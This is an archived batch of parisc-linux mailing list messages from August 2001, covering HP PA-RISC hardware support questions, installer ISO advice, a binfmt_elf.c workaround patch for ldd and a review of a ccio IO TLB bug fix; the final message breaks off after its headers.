X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 02:16:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD447482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 02:16:22 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id KAA06874 for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 10:16:21 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma006392; Fri, 10 Aug 01 10:15:10 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Fri, 10 Aug 2001 10:13:52 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:11842

I'm tempted to buy a HP C200+ (PA8200/512 Mb/9 Gb/Visualize fx-4).

>From the website, it would seem that it is, except for the graphics-card
(Visualize FX-4) for which there is no framebuffer support.

Does this mean I only get the console (80x25) or is there also X?

In general, does such a machine run linux acceptable (with 512 Mb memory / =
9 Gb disk) ?

All (off-list) experiences are very welcome!

Thanks,
Jurriaan





From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Using EISA-Slot in 715/75
Date: Fri, 10 Aug 2001 11:28:55 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010810112855.A23676@linuxcare.com>
References: <8D4C69676E66D511A1CB00508BBBB1921626EA@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620372 23544 80.91.229.3 (22 Nov 2014 01:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:32 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 04:27:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36D34482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 04:27:56 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 23144B00C; Fri, 10 Aug 2001 11:28:55 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB1921626EA@ranmx1.ran.harris.com>; from wpedot@harris.com on Fri, Aug 10, 2001 at 04:15:12AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11843

On Fri, Aug 10, 2001 at 04:15:12AM -0400, Pedot, Wolfgang wrote:
> Hi,
> 
> Is there any hope that the EISA-Slot in my 715/75 will be usable? I noticed that
> the expander (WAX-EISA) is supported and detected at startup but I can not load
> any drivers for ISA-Cards (unresolved Symbols outsb, outsw.....). Since EISA is
> compatible to ISA this should be possible...

Not yet working, sorry.

Richard





From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is a C200+ currently supported?
Date: Fri, 10 Aug 2001 08:54:49 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <20010810085449.A22779@beavis.ybsoft.com>
References: <sb73b3e0.043@ms-zrt1>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620372 23549 80.91.229.3 (22 Nov 2014 01:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 08:54:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1269482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 08:54:51 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP
	id 3F00E5873A; Fri, 10 Aug 2001 01:56:16 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id DB6C1BC8F; Fri, 10 Aug 2001 08:54:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <sb73b3e0.043@ms-zrt1>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11844

Jurriaan,

I use a C200+ as my development machine for the parisc-linux port. So
yes, I try to keep the C200+ supported.  Be forwarned that I am newbie
kernel hacker, and sometimes it takes me a long time to find/fix the 
problems on these machines (ie. the ccio cpio cdrom -> disk HPMC).  I
have only been using the serial console interface from the C200+ so I'm
not sure how well (or if the STI works on this machine).  Now that I 
found/fixed the HPMC I was looking for, I will see if I can give it a 
whirl with the 0.9.2 installer tonight.

The machine will run fine with 512 MB memory / 9 GB disk.  I started
using the C200 with 256 MB memory / 4GB disk and it worked great for
what I was doing.

Hope this helps!

- Ryan

On Fri, Aug 10, 2001 at 10:10:31AM +0200, Jurriaan Kalkman wrote:
> I'm tempted to buy a HP C200+ (PA8200/512 Mb/9 Gb/Visualize fx-4).
> 
> From the website, it would seem that it is, except for the graphics-card
> (Visualize FX-4) for which there is no framebuffer support.
> 
> Does this mean I only get the console (80x25) or is there also X?
> 
> In general, does such a machine run linux acceptable (with 512 Mb memory / 9 Gb disk) ?
> 
> All (off-list) experiences are very welcome!
> 
> Thanks,
> Jurriaan
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ldd under 2.4.7 kernel
Date: Fri, 10 Aug 2001 17:47:51 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20010810174751.G23676@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620372 23551 80.91.229.3 (22 Nov 2014 01:39:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 10:46:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFF49482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 10:46:53 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7D45FB00C; Fri, 10 Aug 2001 17:47:51 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11845

ldd doesn't work under a 2.4.7 kernel; Willy is working on the proper
fix, but I thought it useful to post my work-around, as I'm about to take
two weeks holiday.

Richard


Index: fs/binfmt_elf.c
===================================================================
RCS file: /home/cvs/parisc/linux/fs/binfmt_elf.c,v
retrieving revision 1.20
diff -u -r1.20 binfmt_elf.c
--- binfmt_elf.c	2001/08/01 15:26:52	1.20
+++ binfmt_elf.c	2001/08/10 16:41:56
@@ -9,6 +9,8 @@
  * Copyright 1993, 1994: Eric Youngdale (ericy@cais.com).
  */
 
+#define RGH_FIX
+
 #include <linux/module.h>
 
 #include <linux/fs.h>
@@ -153,6 +155,10 @@
 	 */
 	ARCH_DLINFO;
 #endif
+#ifdef RGH_FIX
+	if (exec)
+#endif
+	{
 	NEW_AUX_ENT(AT_PHDR, load_addr + exec->e_phoff);
 	NEW_AUX_ENT(AT_PHENT, sizeof (struct elf_phdr));
 	NEW_AUX_ENT(AT_PHNUM, exec->e_phnum);
@@ -163,6 +169,7 @@
 	NEW_AUX_ENT(AT_EUID, current->euid);
 	NEW_AUX_ENT(AT_GID, current->gid);
 	NEW_AUX_ENT(AT_EGID, current->egid);
+	}
 	NEW_AUX_ENT(AT_HWCAP, ELF_HWCAP);
 	NEW_AUX_ENT(AT_PAGESZ, ELF_EXEC_PAGESIZE);
 	NEW_AUX_ENT(AT_CLKTCK, CLOCKS_PER_SEC);
@@ -714,8 +721,14 @@
 
 	compute_creds(bprm);
 	current->flags &= ~PF_FORKNOEXEC;
+#ifdef RGH_FIX
+	create_elf_tables(bprm, (interpreter_type == INTERPRETER_ELF ? &elf_ex : NULL),
+			(interpreter_type == INTERPRETER_AOUT),
+			load_addr, interp_load_addr);
+#else
 	create_elf_tables(bprm, &elf_ex, (interpreter_type == INTERPRETER_AOUT),
 			load_addr, interp_load_addr);
+#endif
 	/* N.B. passed_fileno might not be initialized? */
 	if (interpreter_type == INTERPRETER_AOUT)
 		current->mm->arg_start += strlen(passed_fileno) + 1;




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix for ccio cpio cdrom -> disk HPMC
Date: Fri, 10 Aug 2001 10:55:56 -0600
Lines: 76
Approved: news@gmane.org
Message-ID: <200108101655.KAA21894@puffin.external.hp.com>
References: <20010809225155.A21997@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620373 23557 80.91.229.3 (22 Nov 2014 01:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 10:57:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE0C4482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 10:57:27 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA21894
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 10:55:56 -0600
In-Reply-To: Message from rbrad@beavis.ybsoft.com (Ryan Bradetich) 
   of "Thu, 09 Aug 2001 22:51:55 MDT." <20010809225155.A21997@beavis.ybsoft.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11846

Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> I think I have finally located and fixed the bug that has been haunting 
> the ccio driver.  This is the infamous cpio cdrom -> disk bug that I could
> reliably HPMC my C200+ with.

Excellent! That's so cool!

> The fix is simple, and I want to thank both Richard Hirst and Grant
> Grundler for taking the time at OLS to explain how the SCSI layer was
> interacting with the ccio driver.  Understanding this gave me the clue I
> needed to find/solve this long outstanding bug.

welcome...no manual labor involved like getting you coffee or something. ;^)

...
> The reason the second case does not hold true for the U2/Uturn chip because
> because the IO TLB is direct mapped on a 32k block boundary.

Use of "direct mapped" doesn't seem right here.
I *think* it means a given IOVA will always map to the same IO TLB entry.
Many IOVA's can map to one IO TLB entry. Each IOVA has a corresponding
entry in the IO PDIR. (IOVA == I/O Virtual Address)
 
I'm wondering why U2 has 8 IO Pdir entries per IO TLB entry.
If the 8 entries can only map one physically contiguous chunk
of memory, does it make sense to have 8 entries?

Do the 8 entries have to have the same "Coherency Index" values?
(note: to date, all buffer addresses are kernel virtual addresses.)

...
> Next the SCSI driver will try to write the data to the invalid I/O TLB
> entry at block 2.  At this point I believe the machine will HPMC because 
> of the invalid I/O TLB entry in the U2/UTurn chip.  Which verifies the PIM
> codes I have been seeing on the C200+.

An invalid IO TLB entry with a valid IO PDIR entry behind it suggests
we aren't managing the IO TLB right or the ccio driver wasn't mapping the
second "chunk" correctly.

Maybe we were asking the IO TLB to do something which U2 doesn't support.
Obviously I don't understand U2 IO TLB behavior in great detail or I would
have written the code right before Ryan picked it up.
Can anyone explain this U2/Uturn IO TLB behavior better?


> Also I would like to fix the documentation in
> Documentation/DMA-mapping.txt since it is not quite accurate and threw
> me off for quite a while.
...
>   1. Submit the patch directly to the document authors and have them
>      review/accept/reject the patch?

Generally I prefer this since we "automatically" pull upstream changes
with every merge. IMHO, commit only non-arch/parisc changes when
we need a bug fix or feature *now* (eg serial console, 100BT, etc).

> The following section of text is the misleading portion of the document.
> 
> > The implementation is free to merge several consecutive sglist entries
> > into one (e.g. if DMA mapping is done with PAGE_SIZE granularity, any
>                                              ^^^^^^^^^

Note this starts with "e.g.". It's just an example and it should be simple.
Think about keeping the example simple when you submit your patch.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Fri, 10 Aug 2001 18:23:04 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010810182304.H23676@linuxcare.com>
References: <3B6F986D.FA89E147@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620373 23560 80.91.229.3 (22 Nov 2014 01:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:33 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 11:22:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1EC6482A
	for <parisc-linux@parisc-linux.org>; Fri, 10 Aug 2001 11:22:06 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5E3F5B00C; Fri, 10 Aug 2001 18:23:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B6F986D.FA89E147@esiee.fr>; from marteaut@esiee.fr on Tue, Aug 07, 2001 at 09:27:41AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11847

On Tue, Aug 07, 2001 at 09:27:41AM +0200, Thomas Marteau wrote:
> Hi all,
> 
> 	It is my last patch solving the keyboard problem on BXXX and CXXX. It

With this patch applied my B180 hangs in init_keyb(), if there is no
keyboard attached.  I was trying to boot a 2.4.7 kernel based installer.

Richard.





From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Installation.
Date: Fri, 10 Aug 2001 10:57:43 -0700
Organization: Hewlett Packard
Lines: 81
Approved: news@gmane.org
Message-ID: <3B742096.29E3F963@cup.hp.com>
References: <001f01c1206d$56b98f10$727ba8c0@vaio> <3B732C64.6D2E622F@cup.hp.com> <20010810091516.X23676@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620373 23563 80.91.229.3 (22 Nov 2014 01:39:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 11:59:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85762482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 11:59:13 -0600 (MDT)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel1.hp.com (Postfix) with ESMTP
	id AF998175C; Fri, 10 Aug 2001 10:59:12 -0700 (PDT)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id KAA04086;
	Fri, 10 Aug 2001 10:59:12 -0700 (PDT)
Original-Sender: gururaj@cup.hp.com
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11848

My apologies, I realised that I have posted my question on ia-64 list, but it
was too late.

Thanks for the comphrensive description.
I have one more question.
I have an external SCSI CDROM. I guess I am not able to boot through this.
Do you think this should be a problem.

Thanks
Guru


Richard Hirst wrote:

> On Thu, Aug 09, 2001 at 05:35:48PM -0700, Gururaj Ananthateerta wrote:
> > I have a B180L system, I want to install linux on it. I visited
> > parisc-linux
> > site. I am confused which ISO image to pick. There are couple of them
> > like *serial  and *sti.
> > Please anyone explain me which one to pick and wht they mean.
>
> You posted to the ia64 list, not the parisc one, but anyway...
>
> *serial refers to an ISO for use with a serial console, where you would
> install and manage the system via a serial cable link to some other system
> (e.g. minicom running on a Linux PC).
>
> *sti refers to Standard Text Interface, which means using the keyboard
> and monitor interface to the system.
>
> The '32' and '64' in the ISO names refers to 32 and 64 bit CPUs; yours
> is 32 bit.
>
> Assuming your system is currently configured for sti console, you
> should be able to force it to use serial console simply by unpluging
> the keyboard and cycling power.
>
> When we released the 0.9 ISO we had seperate ISOs for serial and sti
> installs on 32 bit machines and a further serial ISO for 64 bit machines.
> This is referred to as 0.9.0 now.
>
> Next we released a 0.9.1 ISO, but you should ignore that, as it had
> various problems.
>
> The latest release is a 0.9.2 ISO, where we have a single ISO that
> works for serial and sti installs on 32 bit machines and for serial
> installs on 64 bit machines.
>
> We have two versions of 0.9.2, "Network Install ISO", which is a CD
> you can install from, but which has just the base packages on it.  Once
> you've installed, you'll need to grab other packages from the network.
> 0.9.2 "CD Install ISO" is the same, but includes various other packages
> that we considered useful.  Even if you install this CD you'll
> probably want to upgrade from the network anyway.
>
> Now, none of these are perfect.  If you are using a serial console
> then either should work fine for you, and you should use the 0.9.2
> one as it is more up-to-date.
>
> If you are using an sti console, then I think the 0.9 ISO will work,
> although screen redrawing is poor in the installer.  If you use the
> 0.9.2 ISO with an sti console, you might find that your keyboard is
> dead and you are unable to complete the install.  Unplugging and
> replugging the keyboard (while the installer is running) may help,
> as might trying some other model of keyboard.
>
> The good news is that the keyboard lockup problems are probably
> solved, although the code isn't quite ready for committing.  I guess
> we will release a new ISO with 2.4.7 kernel and working keyboard sometime
> soon, although I am about to go on holiday for two weeks so it probably
> wont happen until I'm back.
>
> Finally, I see you are inside HP; I don't know whether the internal
> mirrors have 0.9.2 or not, but they are available on
> <http://www.parisc-linux.org/release-0.9/index.html>
>
> Richard





From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Installation.
Date: Fri, 10 Aug 2001 19:48:18 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010810194818.I23676@linuxcare.com>
References: <001f01c1206d$56b98f10$727ba8c0@vaio> <3B732C64.6D2E622F@cup.hp.com> <20010810091516.X23676@linuxcare.com> <3B742096.29E3F963@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620374 23567 80.91.229.3 (22 Nov 2014 01:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 12:47:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4308482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 12:47:20 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7028CB00C; Fri, 10 Aug 2001 19:48:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B742096.29E3F963@cup.hp.com>; from gururaj@cup.hp.com on Fri, Aug 10, 2001 at 10:57:43AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11849

On Fri, Aug 10, 2001 at 10:57:43AM -0700, Gururaj Ananthateerta wrote:
> My apologies, I realised that I have posted my question on ia-64 list, but it
> was too late.
> 
> Thanks for the comphrensive description.
> I have one more question.
> I have an external SCSI CDROM. I guess I am not able to boot through this.
> Do you think this should be a problem.

I would expect you to be able to boot from it.  Does it show up if
you do a SEA search?  Alternatively, you can do a network boot to
start the installation, then read everything else from the CD or
the network, as described in the README on the CD.

Richard





From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <debackex@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ESIEE website
Date: Sat, 11 Aug 2001 00:52:57 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20010810225257.2F1ABD15AC@mail.esiee.fr>
References: <3B737761.C663CF45@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620374 23568 80.91.229.3 (22 Nov 2014 01:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: parisc-linux-announce@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 16:53:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 31782482A; Fri, 10 Aug 2001 16:53:04 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2F1ABD15AC; Sat, 11 Aug 2001 00:52:57 +0200 (CEST)
In-Reply-To: <3B737761.C663CF45@esiee.fr>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11850

Hi all!                                                               
                                                                      
Just a reminder.                                                      
                                                                      
ESIEE website can be found at                                         
                                                                      
     http://mkhppa02.esiee.fr:8000                                    
                                                                      
Regards,                                                              
                                                                      
Xavier,                                                               
ESIEE Team.                                                           




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Weis <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more serial console problems on D310
Date: Fri, 10 Aug 2001 19:09:47 -0500 (CDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108101908050.15638-100000@oliver.internal.sjdjweis.com>
References: <200108091522.JAA13437@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620374 23573 80.91.229.3 (22 Nov 2014 01:39:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 18:05:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D63B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 18:04:59 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id TAA15640;
	Fri, 10 Aug 2001 19:09:47 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <200108091522.JAA13437@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11851

On Thu, 9 Aug 2001, Grant Grundler wrote:

> Can you post full console output? (or otherwise make it available)
> Interested folks can then start guessing what might be the problem.

After pulling the AP card and the 8 port serial card, I have a debian
install going. I did use the serial port labeled console on the back of
the machine. I'll report back if it finishes.

dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.8
Followup-To: gmane.linux.ports.hppa
Date: Sat, 11 Aug 2001 14:54:53 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20010811145450.O22097@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620375 23577 80.91.229.3 (22 Nov 2014 01:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:35 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 11 00:55:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.3.33])
	by dsl2.external.hp.com (Postfix) with SMTP id 20733482A
	for <parisc-linux@parisc-linux.org>; Sat, 11 Aug 2001 00:55:07 -0600 (MDT)
Original-Received: (qmail 3182 invoked by uid 666); 11 Aug 2001 06:55:02 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.163.40)
  by mail.iinet.net.au with SMTP; 11 Aug 2001 06:55:02 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id OAA12227
	for parisc-linux@parisc-linux.org; Sat, 11 Aug 2001 14:54:56 +0800
